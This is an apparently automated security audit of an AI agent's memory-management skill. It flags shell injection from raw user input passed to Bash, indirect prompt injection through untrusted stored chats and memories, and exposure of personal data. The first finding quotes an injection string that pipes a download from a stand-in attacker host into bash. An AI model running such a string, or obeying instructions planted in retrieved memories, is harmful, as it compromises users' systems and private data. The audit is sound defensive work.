memory-management

Fail

Audited by Gen Agent Trust Hub on Feb 15, 2026

Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION] (HIGH): The skill instructions direct the agent to pass raw user input into shell commands using the Bash tool (e.g., alma memory add "<content>", alma memory grep <keyword>). This is a classic shell injection vulnerability where a user could provide a string like "; curl attacker.com/exploit | bash; #" to execute arbitrary code.
  • [PROMPT_INJECTION] (HIGH): Category 8 (Indirect Prompt Injection). The skill is designed to ingest and search untrusted data (past conversations, group chat logs, and personal facts).
  • Ingestion points: Data is read from the threads/ directory, ~/.config/alma/groups/, and ~/.config/alma/people/ via alma memory search, alma memory grep, and alma group history commands.
  • Boundary markers: There are no instructions for sanitizing content or using delimiters to isolate retrieved memories from the agent's current task instructions.
  • Capability inventory: The agent has access to Bash, Read, and Write tools, providing a powerful execution environment.
  • Sanitization: No sanitization or validation of the retrieved memory content is mentioned before it is processed or used to influence future agent decisions.
  • [DATA_EXFILTRATION] (MEDIUM): The skill explicitly targets sensitive user data, including personal profiles and chat history stored in ~/.config/alma/. While no active exfiltration script is present, the combination of Bash access and access to highly personal information represents a significant privacy risk.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Feb 15, 2026, 06:53 AM